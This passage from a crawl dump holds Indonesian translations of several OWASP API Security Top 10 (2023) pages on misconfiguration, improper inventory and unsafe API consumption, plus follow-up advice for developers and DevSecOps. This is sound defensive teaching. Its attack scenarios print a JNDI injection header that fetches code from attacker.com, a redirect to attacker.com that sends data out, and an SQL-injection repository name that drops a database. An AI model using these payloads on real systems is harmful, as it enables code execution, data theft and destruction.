Cross-Origin Resource Sharing (CORS) hilang atau tidak diatur dengan tepat\n- Pesan kesalahan mencakup stack trace, atau mengekspos informasi sensitif lainnya\n\n## Contoh Skenario Serangan\n\n### Skenario #1\n\nSebuah server API back-end menjaga catatan akses yang ditulis oleh utilitas logging sumber terbuka pihak ketiga yang populer dengan dukungan ekspansi tempat dan pencarian JNDI\n(Java Naming and Directory Interface), keduanya diaktifkan secara default. Untuk\nsetiap permintaan, entri baru ditulis ke file log dengan pola berikut: ` / - `.\n\nPelaku jahat mengeluarkan permintaan API berikut, yang ditulis ke file log akses:\n\n```\nGET /health\nX-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}\n```\n\nKarena konfigurasi default yang tidak aman dari utilitas logging dan kebijakan keluar jaringan yang longgar, dalam rangka menulis entri yang sesuai\nke file log akses, sambil memperluas nilai dalam header permintaan `X-Api-Version`, utilitas logging akan mengambil dan menjalankan objek `Malicious.class` dari server yang dikendalikan oleh pelaku jahat.\n\n### Skenario #2\n\nSebuah situs jaringan sosial menawarkan fitur \"Pesan Langsung\" yang memungkinkan pengguna\nmempertahankan percakapan pribadi. Untuk mengambil pesan baru untuk percakapan tertentu, situs web mengeluarkan permintaan API berikut (interaksi pengguna tidak diperlukan):\n\n```\nGET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA\n```\n\nKarena tanggapan API tidak menyertakaj header tanggapan HTTP `Cache-Control`, percakapan pribadi akan disimpan dalam cache browser web, memungkinkan\npelaku jahat mengambilnya dari file cache browser dalam sistem file.\n\n## Cara Mencegah\n\nSiklus hidup API harus mencakup:\n\n- Proses pengerasan berulang yang menghasilkan penerapan lingkungan yang terkunci dengan benar dengan cepat dan mudah\n- Tugas untuk meninjau dan memperbarui konfigurasi di seluruh stack API. Tinjauan harus mencakup: file orkestrasi, komponen API, dan layanan cloud\n (misalnya, izin bucket S3)\n- Proses otomatis untuk terus-menerus menilai efektivitas konfigurasi dan pengaturan di semua lingkungan\n\nSelain itu:\n\n- Pastikan semua komunikasi API dari klien ke server API dan komponen hulu/hilir terjadi melalui saluran komunikasi yang terenkripsi\n (TLS), tanpa memandang apakah itu API internal atau publik.\n- Lebih spesifik tentang verba HTTP mana pun yang dapat diakses oleh setiap API: semua verba HTTP lainnya harus dinonaktifkan (misalnya, HEAD).\n- API yang diharapkan diakses dari klien berbasis browser (misalnya, front-end WebApp) harus setidaknya:\n - mengimplementasikan kebijakan Cross-Origin Resource Sharing (CORS) yang tepat\n - menyertakan Header Keamanan yang berlaku\n- Batasi jenis konten/format data masuk hanya pada yang memenuhi persyaratan bisnis/fungsional.\n- Pastikan semua server dalam rantai server HTTP (misalnya, load balancer, reverse and forward proxy, serta server backend) memproses permintaan masuk dengan cara yang seragam untuk menghindari masalah desinkronisasi.\n- Jika memungkinkan, tentukan dan tegakkan semua skema muatan respons API, termasuk respons kesalahan, untuk mencegah pengecualian jejak dan informasi berharga lainnya dikirimkan kembali kepada pelaku serangan.\n\n## Referensi\n\n### OWASP\n\n- [Proyek OWASP Secure Headers](https://owasp.org/www-project-secure-headers/)\n- [Pengujian Konfigurasi dan Manajemen Implementasi - Panduan Pengujian Keamanan Web Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Pengujian Penanganan Kesalahan - Panduan Pengujian Keamanan Web](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n- [Pengujian Cross Site Request Forgery - Panduan Pengujian Keamanan Web](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)\n\n### Eksternal\n\n- [CWE-2: Kelemahan Keamanan Lingkungan](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Konfigurasi](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-209: Pembuatan Pesan Kesalahan yang Mengandung Informasi Sensitif](https://cwe.mitre.org/data/definitions/209.html)\n- [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-388: Penanganan Kesalahan](https://cwe.mitre.org/data/definitions/388.html)\n- [CWE-444: Interpretasi Tidak Konsisten Permintaan HTTP ('HTTP Request/Response Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-942: Kebijakan Lintas Domain yang Permissif dengan Domain yang Tidak Terpercaya](https://cwe.mitre.org/data/definitions/942.html)\n- [Panduan Keamanan Umum Server](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let's Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka](https://letsencrypt.org/)", "znaku_textu": 6447, "slov": 738, "odkazu": 77, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:54", "sha256": "9f4d0c07b4115ea0eda98c6134a94195da95f11b3da6a94e65e41eb5bce7e51e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/388.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/942.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xa9-improper-inventory-management/", "titulek": "API9:2023 Pengelolaan Inventaris yang Tidak Tepat - OWASP API Security Top 10", "h1": "API9:2023 Pengelolaan Inventaris yang Tidak Tepat", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xa9-improper-inventory-management/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2023 Pengelolaan Inventaris yang Tidak Tepat"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Contoh Skenario Serangan"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API9:2023 Pengelolaan Inventaris yang Tidak Tepat\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Sedang** | Teknis **Sedang** : Khusus Bisnis |\n| Agen ancaman biasanya mendapatkan akses tidak sah melalui versi API lama atau endpoint yang tidak diperbaiki dan menggunakan persyaratan keamanan yang lebih lemah. Dalam beberapa kasus, eksploitasi tersedia. Atau, mereka mungkin mendapatkan akses ke data sensitif melalui pihak ketiga yang tidak ada alasan untuk berbagi data dengannya. | Dokumentasi yang sudah kadaluarsa membuat lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Ketidakadaan inventaris aset dan strategi pensiun mengakibatkan sistem yang tidak diperbaiki, yang mengakibatkan kebocoran data sensitif. Sangat umum untuk menemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikro layanan, yang membuat aplikasi mudah untuk dideploy dan mandiri (misalnya, komputasi awan, K8S). Cukup dengan Google Dorking, enumerasi DNS, atau menggunakan mesin pencari khusus untuk berbagai jenis server (webcam, router, server, dll.) yang terhubung ke internet akan cukup untuk menemukan target. | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server. Terkadang berbagai versi/deployment API terhubung ke database yang sama dengan data nyata. Agen ancaman dapat mengeksploitasi endpoint yang sudah tidak digunakan yang tersedia dalam versi API lama untuk mendapatkan akses ke fungsi administratif atau mengeksploitasi kerentanan yang sudah dikenal. |\n\n## Apakah API Rentan?\n\nSifat API dan aplikasi modern yang tersebar dan terhubung membawa tantangan baru. Penting bagi organisasi untuk tidak hanya memiliki pemahaman yang baik dan visibilitas terhadap API dan endpoint API mereka sendiri, tetapi juga bagaimana API menyimpan atau berbagi data dengan pihak ketiga eksternal.\n\nMenjalankan beberapa versi API memerlukan sumber daya manajemen tambahan\ndari penyedia API dan memperluas permukaan serangan.\n\nSebuah API memiliki \"blindspot dokumentasi\" jika:\n\n- Tujuan host API tidak jelas, dan tidak ada jawaban eksplisit untuk\n pertanyaan-pertanyaan berikut\n - Lingkungan mana yang digunakan API (misalnya, produksi, staging, tes,\n pengembangan)?\n - Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)?\n - Versi API mana yang sedang berjalan?\n- Tidak ada dokumentasi atau dokumentasi yang ada tidak diperbarui.\n- Tidak ada rencana pensiun untuk setiap versi API.\n- Inventaris host hilang atau sudah kadaluarsa.\n\nVisibilitas dan inventaris aliran data sensitif memainkan peran penting sebagai\nbagian dari rencana respons insiden, jika terjadi pelanggaran di sisi pihak ketiga.\n\nSebuah API memiliki \"blindspot aliran data\" jika:\n\n- Ada \"aliran data sensitif\" di mana API berbagi data sensitif dengan pihak ketiga dan\n - Tidak ada justifikasi bisnis atau persetujuan atas aliran tersebut\n - Tidak ada inventaris atau visibilitas aliran tersebut\n - Tidak ada visibilitas mendalam tentang jenis data sensitif yang dibagikan\n\n## Contoh Skenario Serangan\n\n### Skenario #1\n\nSebuah jaringan sosial mengimplementasikan mekanisme pembatasan laju yang menghalangi penyerang\nmenggunakan metode brute force untuk menebak token reset kata sandi. Mekanisme ini tidak\ndiimplementasikan sebagai bagian dari kode API itu sendiri tetapi di komponen terpisah antara\nklien dan API resmi (`api.socialnetwork.owasp.org`). Seorang peneliti menemukan host API beta\n(`beta.api.socialnetwork.owasp.org`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi,\ntetapi mekanisme pembatasan laju tidak ada. Peneliti tersebut berhasil mereset kata sandi\npengguna dengan menebak token 6 digit menggunakan brute force.\n\n### Skenario #2\n\nSebuah jaringan sosial memungkinkan pengembang aplikasi independen untuk mengintegrasikan dengan\nmereka. Sebagai bagian dari proses ini, izin diminta dari pengguna akhir, sehingga jaringan sosial\ndapat berbagi informasi pribadi pengguna dengan aplikasi independen.\n\nAliran data antara jaringan sosial dan aplikasi independen tidak cukup dibatasi atau dimonitor,\nmemungkinkan aplikasi independen untuk mengakses tidak hanya\ninformasi pengguna tetapi juga informasi pribadi dari semua teman mereka.\n\nSebuah firma konsultan membangun aplikasi berbahaya dan berhasil mendapatkan izin dari\n270.000 pengguna. Karena kelemahan ini, firma konsultan berhasil mengakses\ninformasi pribadi dari 50.000.000 pengguna. Kemudian, firma konsultan\nmenjual informasi tersebut untuk tujuan berbahaya.\n\n## Cara Mencegah\n\n- Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing di\n antaranya, berfokus pada lingkungan API (misalnya, produksi, staging, tes, pengembangan), siapa yang\n seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API.\n- Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka\n dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya.\n- Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju,\n kebijakan berbagi sumber daya lintas asal (CORS), dan endpoint, termasuk parameter, permintaan, dan tanggapan.\n- Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam jalur CI/CD Anda.\n- Buat dokumentasi API hanya tersedia bagi mereka yang berwenang untuk menggunakan API.\n- Gunakan langkah-langkah perlindungan eksternal seperti solusi keamanan API yang spesifik untuk semua versi API Anda yang terpapar, tidak hanya untuk versi produksi saat ini.\n- Hindari menggunakan data produksi dengan implementasi API non-produksi. Jika hal ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan endpoint produksi.\n- Ketika versi API yang lebih baru mencakup perbaikan keamanan, lakukan analisis risiko untuk\n memberi tahu tindakan mitigasi yang diperlukan untuk versi lama. Misalnya, apakah memungkinkan untuk melakukan backport perbaikan tanpa merusak kompatibilitas API atau apakah Anda perlu segera menghapus versi lama dan memaksa semua klien beralih ke versi terbaru.\n\n## Referensi\n\n### Eksternal\n\n- [CWE-1059: Dokumentasi yang Tidak Lengkap](https://cwe.mitre.org/data/definitions/1059.html)", "znaku_textu": 6271, "slov": 819, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:49:13", "sha256": "4b3931c180d79d8dadacf2e62f662851f0c39bfaf1a5394de9a1b7657836e2a6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xaa-unsafe-consumption-of-apis/", "titulek": "API10:2023 Konsumsi API yang Tidak Aman - OWASP API Security Top 10", "h1": "API10:2023 Konsumsi API yang Tidak Aman", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xaa-unsafe-consumption-of-apis/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2023 Konsumsi API yang Tidak Aman"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Contoh Skenario Serangan"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API10:2023 Konsumsi API yang Tidak Aman\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Umum** : Kemungkinan Dideteksi **Sedang** | Teknis **Serius** : Khusus Bisnis |\n| Penyerang perlu mengidentifikasi dan mungkin mengkompromikan API/Layanan lain yang terintegrasi dengan API target untuk mengeksploitasi masalah ini. Biasanya, informasi ini tidak tersedia secara publik atau API/layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi endpoint yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengkompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. |\n\n## Apakah API Rentan?\n\nPengembang cenderung lebih percaya data yang diterima dari API pihak ketiga daripada masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input.\n\nAPI mungkin rentan jika:\n\n- Berinteraksi dengan API lain melalui saluran yang tidak terenkripsi;\n- Tidak memvalidasi dan menyaring data yang dikumpulkan dari API lain sebelum\n memprosesnya atau melewatkan data tersebut ke komponen yang lebih rendah;\n- Mengikuti pengalihan tanpa pertimbangan;\n- Tidak membatasi jumlah sumber daya yang tersedia untuk memproses respons layanan pihak ketiga;\n- Tidak mengimplementasikan batas waktu untuk interaksi dengan layanan pihak ketiga;\n\n## Contoh Skenario Serangan\n\n### Skenario #1\n\nSebuah API mengandalkan layanan pihak ketiga untuk memperkaya alamat bisnis yang diberikan oleh pengguna akhir. Ketika alamat diberikan kepada API oleh pengguna akhir, alamat tersebut dikirim ke layanan pihak ketiga dan data yang dikembalikan kemudian disimpan dalam database lokal yang mendukung SQL.\n\nAktor jahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik \"bisnis berbahaya\" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, mengirimkan data ke server yang dikendalikan oleh penyerang.\n\n### Skenario #2\n\nSebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan secara aman informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini:\n\n```\nPOST /user/store_phr_record\n{\n \"genome\": \"ACTAGTAG__TTGADDAAIICCTT…\"\n}\n```\n\nAktor jahat menemukan cara untuk mengkompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas.\n\n```\nHTTP/1.1 308 Permanent Redirect\nLocation: https://attacker.com/\n```\n\nKarena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, ia akan mengirimkan permintaan yang sama persis termasuk data sensitif pengguna, namun kali ini ke server penyerang.\n\n### Skenario #3\n\nSeorang penyerang dapat menyiapkan repositori git yang diberi nama `'; drop db;--`.\n\nSekarang, ketika integrasi dari aplikasi yang diserang dilakukan dengan repositori jahat ini, muatan injeksi SQL digunakan pada aplikasi yang membangun kueri SQL yang percaya bahwa nama repositori adalah masukan yang aman.\n\n## Cara Mencegah\n\n- Saat mengevaluasi penyedia layanan, nilai postur keamanan API mereka.\n- Pastikan semua interaksi API terjadi melalui saluran komunikasi yang aman (TLS).\n- Selalu validasi dan lakukan sanitasi data yang diterima dari API terintegrasi sebelum menggunakannya.\n- Pelihara daftar whitelist lokasi yang dikenal API terintegrasi yang dapat mengalihkan\n permintaan Anda: jangan mengikuti pengalihan tanpa pertimbangan.\n\n## Referensi\n\n### OWASP\n\n- [Cheat Sheet Keamanan Layanan Web](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html)\n- [Kekurangan Injeksi](https://www.owasp.org/index.php/Injection_Flaws)\n- [Cheat Sheet Validasi Input](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n- [Cheat Sheet Pencegahan Injeksi](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [Cheat Sheet Perlindungan Lapisan Transport](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [Cheat Sheet Pengalihan dan Pengalihan Tanpa Validasi](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### Eksternal\n\n- [CWE-20: Validasi Input yang Tidak Tepat](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-200: Paparan Informasi Sensitif kepada Aktor yang Tidak Diotorisasi](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif](https://cwe.mitre.org/data/definitions/319.html)", "znaku_textu": 5202, "slov": 589, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:20", "sha256": "e6054478e23d4b1857a3b7ca447791d1c2834b625cb9e4a9cca872394507c371", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Injection_Flaws", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/319.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xb0-next-devs/", "titulek": "Apa Selanjutnya untuk Pengembang - OWASP API Security Top 10", "h1": "Apa Selanjutnya untuk Pengembang", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xb0-next-devs/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Apa Selanjutnya untuk Pengembang"}], "markdown": "# Apa Selanjutnya untuk Pengembang\n\nTugas untuk membuat dan memelihara aplikasi yang aman, atau memperbaiki aplikasi yang sudah ada, bisa menjadi sulit. Ini tidak berbeda untuk API.\n\nKami percaya bahwa pendidikan dan kesadaran adalah faktor kunci dalam menulis perangkat lunak yang aman. Semua yang diperlukan untuk mencapai tujuan ini bergantung pada **mendirikan dan menggunakan proses keamanan yang dapat diulang serta kendali keamanan standar**.\n\nOWASP menyediakan banyak sumber daya gratis dan terbuka untuk membantu Anda mengatasi masalah keamanan. Silakan kunjungi [halaman Proyek OWASP](https://owasp.org/projects/) untuk daftar komprehensif proyek yang tersedia.\n\n| | |\n| --- | --- |\n| **Pendidikan** | [Pemandu Keamanan Aplikasi](https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder) seharusnya memberi Anda gambaran baik tentang proyek-proyek yang tersedia untuk setiap tahap/fase Siklus Hidup Pengembangan Perangkat Lunak (SDLC). Untuk pembelajaran/latihan langsung, Anda dapat memulainya dengan [OWASP **crAPI** - **C**ompletely **R**idiculous **API**](https://owasp.org/www-project-crapi/) atau [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/): keduanya memiliki API yang rentan secara disengaja. [Proyek Direktori Aplikasi Web Rentan OWASP](https://owasp.org/www-project-vulnerable-web-applications-directory/) menyediakan daftar aplikasi yang rentan secara disengaja: Anda akan menemukan beberapa API rentan lainnya di sana. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec](https://owasp.org/events/), atau [bergabung dengan cabang lokal Anda](https://owasp.org/chapters/). |\n| **Persyaratan Keamanan** | Keamanan seharusnya menjadi bagian setiap proyek sejak awal. Ketika mendefinisikan persyaratan, penting untuk mendefinisikan apa arti \"aman\" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda mengalihdayakan, pertimbangkan [Lampiran Kontrak Perangkat Lunak Aman OWASP](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex), yang harus disesuaikan sesuai dengan hukum dan regulasi setempat. |\n| **Arsitektur Keamanan** | Keamanan seharusnya tetap menjadi perhatian selama semua tahapan proyek. [Seri Contekan OWASP](https://cheatsheetseries.owasp.org/) adalah titik awal yang baik untuk panduan tentang bagaimana mendesain keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [Contekan Keamanan REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) dan [Contekan Penilaian REST](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html), serta [Contekan GraphQL](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html). |\n| **Kendali Keamanan Standar** | Mengadopsi kendali keamanan standar mengurangi risiko memasukkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun banyak kerangka kerja modern sekarang dilengkapi dengan kendali standar yang efektif, [Kendali Proaktif OWASP](https://owasp.org/www-project-proactive-controls/) memberikan pandangan yang baik tentang kendali keamanan apa yang seharusnya Anda sertakan dalam proyek Anda. OWASP juga menyediakan beberapa perpustakaan dan alat yang mungkin Anda temukan berguna, seperti kendali validasi. |\n| **Siklus Hidup Pengembangan Perangkat Lunak Aman** | Anda dapat menggunakan [Model Kematangan Jaminan Perangkat Lunak OWASP (SAMM)](https://owasp.org/www-project-samm/) untuk meningkatkan proses pembuatan API Anda. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda dalam berbagai tahap pengembangan API, misalnya, [Panduan Tinjauan Kode OWASP](https://owasp.org/www-project-code-review-guide/). |", "znaku_textu": 3791, "slov": 411, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:24", "sha256": "a01f5b10526988fff3b5588fbd9825d963fd6c6358abf3a9dc4d09f7b4cac602", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/id/0xb1-next-devsecops/", "titulek": "Apa Selanjutnya untuk DevSecOps - OWASP API Security Top 10", "h1": "Apa Selanjutnya untuk DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/id/0xb1-next-devsecops/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Apa Selanjutnya untuk DevSecOps"}], "markdown": "# Apa Selanjutnya untuk DevSecOps\n\nKarena pentingnya mereka dalam arsitektur aplikasi modern, membangun API yang aman adalah suatu keharusan. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan pengujian penetrasi setahun sekali tidak lagi cukup.\n\nDevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan Anda harus meningkatkan jalur pengembangan dengan otomatisasi keamanan, tanpa mempengaruhi kecepatan pengembangan.\n\nJika ragu, tetap terinformasi, dan lihat [Manifesto DevSecOps](https://www.devsecops.org/).\n\n| | |\n| --- | --- |\n| **Mengerti Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda belum memilikinya, pertimbangkan untuk menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)](https://owasp.org/www-project-application-security-verification-standard/), dan [Panduan Pengujian OWASP](https://owasp.org/www-project-web-security-testing-guide/) sebagai masukan. Melibatkan tim pengembangan akan membantu membuat mereka lebih sadar akan keamanan. |\n| **Mengerti SDLC** | Bergabunglah dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus sesuai dengan orang, proses, dan alat. Semua orang harus setuju dengan proses tersebut, sehingga tidak ada gesekan atau resistensi yang tidak perlu. |\n| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh mempengaruhi kecepatan pengembangan, Anda harus bijak memilih teknik terbaik (sederhana, cepat, paling akurat) untuk memverifikasi persyaratan keamanan. [Kerangka Pengetahuan Keamanan OWASP](https://owasp.org/www-project-security-knowledge-framework/) dan [Standar Verifikasi Keamanan Aplikasi OWASP](https://owasp.org/www-project-application-security-verification-standard/) dapat menjadi sumber terbaik persyaratan keamanan fungsional dan non-fungsional. Terdapat sumber-sumber bagus lainnya untuk [proyek](http://devsecops.github.io/) dan [alat](https://github.com/devsecops/awesome-devsecops) yang serupa dengan yang ditawarkan oleh [komunitas DevSecOps](http://devsecops.org). |\n| **Mencapai Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembangan dan tim operasi. Untuk mencapai cakupan, Anda harus fokus tidak hanya pada fungsionalitas, tetapi juga orkestrasi. Bekerja erat dengan tim pengembangan dan operasi sejak awal sehingga Anda dapat mengoptimalkan waktu dan usaha Anda. Anda harus bertujuan untuk mencapai suatu tahap ketika keamanan esensial diverifikasi secara berkelanjutan. |\n| **Komunikasikan Temuan dengan Jelas** | Memberikan nilai dengan sedikit atau tanpa gesekan. Sampaikan temuan dengan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk mengatasi temuan. Manfaatkan kesempatan ini untuk memberi mereka pendidikan, jelaskan kelemahan dan bagaimana kelemahan bisa disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. |", "znaku_textu": 3015, "slov": 348, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:35", "sha256": "1e108eb6db2a764977932b5565276cbe76c9c47f8330b0e7274ac8ddc33bf4ee", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", 